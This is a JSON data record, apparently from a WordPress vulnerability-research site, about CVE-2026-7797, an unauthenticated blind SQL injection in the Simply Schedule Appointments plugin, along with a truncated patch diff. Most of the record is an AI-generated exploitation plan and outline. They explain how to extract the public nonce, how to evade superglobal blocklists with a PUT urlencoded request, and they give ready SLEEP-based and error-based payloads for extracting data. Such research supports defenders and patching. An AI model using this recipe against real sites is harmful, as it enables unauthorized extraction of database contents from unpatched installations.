[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f_UBpmG9ed7-zlXX2KHVCcTsvyghlmNbGn87xTy48zBA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-7797","appointment-booking-calendar-unauthenticated-sql-injection-via-appendwheresql-parameter-2","Appointment Booking Calendar \u003C= 1.6.11.8 - Unauthenticated SQL Injection via 'append_where_sql' Parameter","The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'append_where_sql' parameter in all versions up to, and including, 1.6.11.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The \u002Fappointments\u002Fbulk REST endpoint is reachable by unauthenticated attackers because its permission check accepts a public nonce that is embedded in the booking widget's frontend JavaScript (ssa.api.public_nonce) and visible to all site visitors; exploitation requires issuing the request as a PUT with an application\u002Fx-www-form-urlencoded body so that PHP's superglobals are not populated and the blocklist check silently passes.","simply-schedule-appointments",null,"\u003C=1.6.11.8","1.6.11.9","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-27 18:30:22","2026-05-28 06:45:43",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fdb3bddbd-44b0-4105-9039-0d669d643481?source=api-prod",1,[22,23,24,25,26,27,28,29],"CHANGELOG.md","admin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js","includes\u002Fclass-appointment-model.php","includes\u002Fclass-csv-exporter.php","includes\u002Fclass-elementor.php","includes\u002Fclass-hooks.php","includes\u002Fclass-notifications.php","includes\u002Fclass-paypal-ipn-listener.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-7797\n\n## 1. Vulnerability Summary\n**CVE-2026-7797** is an unauthenticated time-based blind SQL Injection vulnerability in the **Simply Schedule Appointments (slug: simply-schedule-appointments)** plugin for WordPress. The vulnerability exists in the handling of the `append_where_sql` parameter within the `\u002Fappointments\u002Fbulk` REST API endpoint. Due to insufficient escaping and a lack of preparation on the resulting SQL query, an attacker can append arbitrary SQL commands. Furthermore, the endpoint is protected by a \"public nonce\" meant for the booking widget, which is exposed to all visitors, and can be reached unauthenticated. A specific bypass involving the `PUT` method and `application\u002Fx-www-form-urlencoded` content type allows the request to evade typical security blocklists that monitor PHP superglobals.\n\n## 2. Attack Vector Analysis\n- **Target Endpoint:** `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002Fbulk` (Namespace: `ssa\u002Fv1`, Route: `\u002Fappointments\u002Fbulk`).\n- **HTTP Method:** `PUT`.\n- **Authentication:** Unauthenticated (requires a valid public nonce).\n- **Vulnerable Parameter:** `append_where_sql`.\n- **Content-Type Required:** `application\u002Fx-www-form-urlencoded`.\n- **Preconditions:** The plugin must be active. A public nonce must be retrieved from the frontend.\n\n## 3. Code Flow\n1. **Entry Point:** The REST API request is received at the `\u002Fappointments\u002Fbulk` endpoint. The route is likely registered in an internal REST controller (e.g., `SSA_Appointments_REST_Controller`, inferred).\n2. **Permission Check:** The `permission_callback` for this route checks the `X-WP-Nonce` header or a `nonce` parameter. It incorrectly validates against a nonce generated for the public booking widget (action: `ssa_api`, inferred based on `ssa.api.public_nonce`).\n3. **Bypass Mechanism:** By using `PUT` with `application\u002Fx-www-form-urlencoded`, the payload `append_where_sql` is not populated into the PHP `$_POST` superglobal. If a security filter (like a WAF or the plugin's own blocklist check) only inspects `$_GET`\u002F`$_POST`, it will see nothing, while the WordPress REST API parses the body and provides the parameter to the controller.\n4. **Data Handling:** The controller passes the request parameters to the underlying model (`SSA_Appointment_Model`).\n5. **SQL Sink:** The parameters are eventually processed in `SSA_Db_Model::query()` (inferred parent of `SSA_Appointment_Model`). The `append_where_sql` string is concatenated directly onto a `$wpdb->query()` or `$wpdb->get_results()` call without being passed through `$wpdb->prepare()`.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized for the frontend booking widget. It is typically found in the global JavaScript object `ssa`.\n\n1. **Shortcode Identification:** The plugin uses the shortcode `[ssa_booking]` to render the calendar.\n2. **Setup:** Create a test page containing this shortcode to ensure the scripts are enqueued.\n3. **Extraction:**\n   - Navigate to the page with the `[ssa_booking]` shortcode.\n   - Use `browser_eval` to extract the public nonce.\n   - **JavaScript Path:** `window.ssa?.api?.public_nonce`\n\n## 5. Exploitation Strategy\nThe goal is to trigger a time-based response to confirm SQL injection.\n\n### Step 1: Extract Nonce\nUse the `browser_navigate` and `browser_eval` tools to visit the page with the booking shortcode and retrieve `window.ssa.api.public_nonce`.\n\n### Step 2: Perform Time-Based Injection\nConstruct a `PUT` request to the bulk appointments endpoint.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002Fbulk`\n- **Method:** `PUT`\n- **Headers:**\n  - `Content-Type: application\u002Fx-www-form-urlencoded`\n  - `X-WP-Nonce: [EXTRACTED_NONCE]`\n- **Body:**\n  ```urlencoded\n  append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\n  ```\n\n### Step 3: Verify Extraction (Data Exfiltration)\nTo exfiltrate the database version:\n```urlencoded\nappend_where_sql=AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)\n```\n\n## 6. Test Data Setup\n1. **Install Plugin:** Ensure `simply-schedule-appointments` (\u003C= 1.6.11.8) is installed.\n2. **Create Appointment Type:** The plugin might require at least one appointment type to exist for the underlying query to execute properly.\n   - `wp ssa create_appointment_type --title=\"Consultation\"` (inferred CLI command, otherwise use UI).\n3. **Create Public Page:**\n   ```bash\n   wp post create --post_type=page --post_title=\"Booking\" --post_status=publish --post_content='[ssa_booking]'\n   ```\n\n## 7. Expected Results\n- **Control Request:** A request with `append_where_sql=AND 1=1` should return almost immediately (HTTP 200\u002F400\u002F404 depending on records found).\n- **Attack Request:** A request with `append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)` should result in a response delay of approximately 5 seconds.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the plugin's vulnerability status:\n1. **Check Version:**\n   ```bash\n   wp plugin get simply-schedule-appointments --field=version\n   ```\n2. **Monitor Database:** If possible, check the MySQL general log to see the malformed query being executed:\n   ```sql\n   SELECT ... FROM wp_ssa_appointments WHERE ... AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\n   ```\n\n## 9. Alternative Approaches\n- **Method Variation:** If `PUT` fails, try `POST` with the header `X-HTTP-Method-Override: PUT`.\n- **Parameter Variation:** If `append_where_sql` is filtered, check if other parameters like `order_by` or `group_by` (inferred) are similarly vulnerable within the bulk endpoint.\n- **Error-Based:** If `WP_DEBUG` is enabled, try inducing a syntax error to see if `$wpdb->last_error` is reflected in the REST response:\n  ```urlencoded\n  append_where_sql=AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,version(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)\n  ```","The Simply Schedule Appointments plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'append_where_sql' parameter in the \u002Fappointments\u002Fbulk REST API endpoint. Attackers can exploit this by using a public nonce exposed in the booking widget to bypass permission checks and using a PUT request to evade security filters that only inspect standard PHP superglobals.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.7\u002Fadmin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.9\u002Fadmin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.7\u002Fadmin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js\t2026-05-05 22:25:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsimply-schedule-appointments\u002F1.6.11.9\u002Fadmin-app\u002Fdist\u002Fstatic\u002Fjs\u002Fapp.js\t2026-05-26 22:34:18.000000000 +0000\n@@ -1,2 +1,2 @@\n-(function(){var e={46700:function(e,t,i){var a={\".\u002Faf\":63906,\".\u002Faf.js\":63906,\".\u002Far\":40902,\".\u002Far-dz\":3853,\".\u002Far-dz.js\":3853,\".\u002Far-kw\":20299,\".\u002Far-kw.js\":20299,\".\u002Far-ly\":96825,\".\u002Far-ly.js\":96825,\".\u002Far-ma\":66379,\".\u002Far-ma.js\":66379,\".\u002Far-sa\":87700,\".\u002Far-sa.js\":87700,\".\u002Far-tn\":2059,\".\u002Far-tn.js\":2059,\".\u002Far.js\":40902,\".\u002Faz\":76043,\".\u002Faz.js\":76043,\".\u002Fbe\":7936,\".\u002Fbe.js\":7936,\".\u002Fbg\":34078,\".\u002Fbg.js\":34078,\".\u002Fbm\":14014,\".\u002Fbm.js\":14014,\".\u002Fbn\":29554,\".\u002Fbn-bd\":17114,\".\u002Fbn-bd.js\":17114,\".\u002Fbn.js\":29554,\".\u002Fbo\":6529,\".\u002Fbo.js\":6529,\".\u002Fbr\":65437,\".\u002Fbr.js\":65437,\".\u002Fbs\":19647,\".\u002Fbs.js\":19647,\".\u002Fca\":59951,\".\u002Fca.js\":59951,\".\u002Fcs\":26113,\".\u002Fcs.js\":26113,\".\u002Fcv\":37965,\".\u002Fcv.js\":37965,\".\u002Fcy\":35858,\".\u002Fcy.js\":35858,\".\u002Fda\":33515,\".\u002Fda.js\":33515,\".\u002Fde\":62831,\".\u002Fde-at\":6263,\".\u002Fde-at.js\":6263,\".\u002Fde-ch\":51127,\".\u002Fde-ch.js\":51127,\".\u002Fde.js\":62831,\".\u002Fdv\":4510,\".\u002Fdv.js\":4510,\".\u002Fel\":68616,\".\u002Fel.js\":68616,\".\u002Fen-au\":24595,\".\u002Fen-au.js\":24595,\".\u002Fen-ca\":73545,\".\u002Fen-ca.js\":73545,\".\u002Fen-gb\":79609,\".\u002Fen-gb.js\":79609,\".\u002Fen-ie\":43727,\".\u002Fen-ie.js\":43727,\".\u002Fen-il\":93302,\".\u002Fen-il.js\":93302,\".\u002Fen-in\":46305,\".\u002Fen-in.js\":46305,\".\u002Fen-nz\":39128,\".\u002Fen-nz.js\":39128,\".\u002Fen-sg\":84569,\".\u002Fen-sg.js\":84569,\".\u002Feo\":50650,\".\u002Feo.js\":50650,\".\u002Fes\":26358,\".\u002Fes-do\":64214,\".\u002Fes-do.js\":64214,\".\u002Fes-mx\":38639,\".\u002Fes-mx.js\":38639,\".\u002Fes-us\":30232,\".\u002Fes-us.js\":30232,\".\u002Fes.js\":26358,\".\u002Fet\":47279,\".\u002Fet.js\":47279,\".\u002Feu\":15515,\".\u002Feu.js\":15515,\".\u002Ffa\":27981,\".\u002Ffa.js\":27981,\".\u002Ffi\":37090,\".\u002Ffi.js\":37090,\".\u002Ffil\":79208,\".\u002Ffil.js\":79208,\".\u002Ffo\":2799,\".\u002Ffo.js\":2799,\".\u002Ffr\":23463,\".\u002Ffr-ca\":2213,\".\u002Ffr-ca.js\":2213,\".\u002Ffr-ch\":52848,\".\u002Ffr-ch.js\":52848,\".\u002Ffr.js\":23463,\".\u002Ffy\":41468,\".\u002Ffy.js\":41468,\".\u002Fga\":88163,\".\u002Fga.js\":88163,\".\u002Fgd\":2898,\".\u002Fgd.js\":2898,\".\u002Fgl\":76312,\".\u002Fgl.js\":76312,\".\u002Fgom-deva\":20682,\".\u002Fgom-deva.js\":20682,\".\u002Fgom-latn\":49178,\".\u002Fgom-latn.js\":49178,\".\u002Fgu\":31400,\".\u002Fgu.js\":31400,\".\u002Fhe\":52795,\".\u002Fhe.js\":52795,\".\u002Fhi\":17009,\".\u002Fhi.js\":17009,\".\u002Fhr\":46506,\".\u002Fhr.js\":46506,\".\u002Fhu\":69565,\".\u002Fhu.js\":69565,\".\u002Fhy-am\":93864,\".\u002Fhy-am.js\":93864,\".\u002Fid\":5626,\".\u002Fid.js\":5626,\".\u002Fis\":36649,\".\u002Fis.js\":36649,\".\u002Fit\":90151,\".\u002Fit-ch\":95348,\".\u002Fit-ch.js\":95348,\".\u002Fit.js\":90151,\".\u002Fja\":79830,\".\u002Fja.js\":79830,\".\u002Fjv\":33751,\".\u002Fjv.js\":33751,\".\u002Fka\":63365,\".\u002Fka.js\":63365,\".\u002Fkk\":85980,\".\u002Fkk.js\":85980,\".\u002Fkm\":99571,\".\u002Fkm.js\":99571,\".\u002Fkn\":25880,\".\u002Fkn.js\":25880,\".\u002Fko\":16809,\".\u002Fko.js\":16809,\".\u002Fku\":96773,\".\u002Fku.js\":96773,\".\u002Fky\":65505,\".\u002Fky.js\":65505,\".\u002Flb\":50553,\".\u002Flb.js\":50553,\".\u002Flo\":51237,\".\u002Flo.js\":51237,\".\u002Flt\":91563,\".\u002Flt.js\":91563,\".\u002Flv\":61057,\".\u002Flv.js\":61057,\".\u002Fme\":96495,\".\u002Fme.js\":96495,\".\u002Fmi\":83096,\".\u002Fmi.js\":83096,\".\u002Fmk\":43874,\".\u002Fmk.js\":43874,\".\u002Fml\":46055,\".\u002Fml.js\":46055,\".\u002Fmn\":87747,\".\u002Fmn.js\":87747,\".\u002Fmr\":17113,\".\u002Fmr.js\":17113,\".\u002Fms\":8687,\".\u002Fms-my\":7948,\".\u002Fms-my.js\":7948,\".\u002Fms.js\":8687,\".\u002Fmt\":14532,\".\u002Fmt.js\":14532,\".\u002Fmy\":4655,\".\u002Fmy.js\":4655,\".\u002Fnb\":56961,\".\u002Fnb.js\":56961,\".\u002Fne\":2512,\".\u002Fne.js\":2512,\".\u002Fnl\":48448,\".\u002Fnl-be\":72936,\".\u002Fnl-be.js\":72936,\".\u002Fnl.js\":48448,\".\u002Fnn\":49031,\".\u002Fnn.js\":49031,\".\u002Foc-lnc\":5174,\".\u002Foc-lnc.js\":5174,\".\u002Fpa-in\":30118,\".\u002Fpa-in.js\":30118,\".\u002Fpl\":93448,\".\u002Fpl.js\":93448,\".\u002Fpt\":33518,\".\u002Fpt-br\":62447,\".\u002Fpt-br.js\":62447,\".\u002Fpt.js\":33518,\".\u002Fro\":70817,\".\u002Fro.js\":70817,\".\u002Fru\":10262,\".\u002Fru.js\":10262,\".\u002Fsd\":58990,\".\u002Fsd.js\":58990,\".\u002Fse\":43842,\".\u002Fse.js\":43842,\".\u002Fsi\":37711,\".\u002Fsi.js\":37711,\".\u002Fsk\":80756,\".\u002Fsk.js\":80756,\".\u002Fsl\":3772,\".\u002Fsl.js\":3772,\".\u002Fsq\":6187,\".\u002Fsq.js\":6187,\".\u002Fsr\":40732,\".\u002Fsr-cyrl\":75713,\".\u002Fsr-cyrl.js\":75713,\".\u002Fsr.js\":40732,\".\u002Fss\":99455,\".\u002Fss.js\":99455,\".\u002Fsv\":69770,\".\u002Fsv.js\":69770,\".\u002Fsw\":80959,\".\u002Fsw.js\":80959,\".\u002Fta\":36459,\".\u002Fta.js\":36459,\".\u002Fte\":25302,\".\u002Fte.js\":25302,\".\u002Ftet\":67975,\".\u002Ftet.js\":67975,\".\u002Ftg\":71294,\".\u002Ftg.js\":71294,\".\u002Fth\":2385,\".\u002Fth.js\":2385,\".\u002Ftk\":24613,\".\u002Ftk.js\":24613,\".\u002Ftl-ph\":58668,\".\u002Ftl-ph.js\":58668,\".\u002Ftlh\":58190,\".\u002Ftlh.js\":58190,\".\u002Ftr\":74506,\".\u002Ftr.js\":74506,\".\u002Ftzl\":63440,\".\u002Ftzl.js\":63440,\".\u002Ftzm\":69852,\".\u002Ftzm-latn\":42350,\".\u002Ftzm-latn.js\":42350,\".\u002Ftzm.js\":69852,\".\u002Fug-cn\":70730,\".\u002Fug-cn.js\":70730,\".\u002Fuk\":40099,\".\u002Fuk.js\":40099,\".\u002Fur\":72100,\".\u002Fur.js\":72100,\".\u002Fuz\":96002,\".\u002Fuz-latn\":26322,\".\u002Fuz-latn.js\":26322,\".\u002Fuz.js\":96002,\".\u002Fvi\":14207,\".\u002Fvi.js\":14207,\".\u002Fx-pseudo\":24674,\".\u002Fx-pseudo.js\":24674,\".\u002Fyo\":10570,\".\u002Fyo.js\":10570,\".\u002Fzh-cn\":73644,\".\u002Fzh-cn.js\":73644,\".\u002Fzh-hk\":22591,\".\u002Fzh-hk.js\":22591,\".\u002Fzh-mo\":89503,\".\u002Fzh-mo.js\":89503,\".\u002Fzh-tw\":88080,\".\u002Fzh-tw.js\":88080};function o(e){var t=r(e);return i(t)}function r(e){if(!i.o(a,e)){var t=new Error(\"Cannot find module '\"+e+\"'\");throw t.code=\"MODULE_NOT_FOUND\",t}return a[e]}o.keys=function(){return Object.keys(a)},o.resolve=r,e.exports=o,o.id=46700} ... (truncated)","1. Navigate to any page on the target site containing the Simply Schedule Appointments booking shortcode ([ssa_booking]). 2. Extract the public nonce from the global JavaScript object: 'window.ssa.api.public_nonce'. 3. Issue a PUT request to the REST API endpoint '\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002Fbulk'. 4. Set the 'Content-Type' header to 'application\u002Fx-www-form-urlencoded' to bypass superglobal-based blocklists. 5. Include the 'X-WP-Nonce' header with the value of the extracted public nonce. 6. Provide the SQL injection payload in the 'append_where_sql' parameter within the request body (e.g., 'AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). 7. Use time delays in the response to verify the vulnerability and exfiltrate database content.","gemini-3-flash-preview","2026-06-04 16:47:31","2026-06-04 16:48:16",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.6.11.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.11.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.11.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.11.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.11.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags"]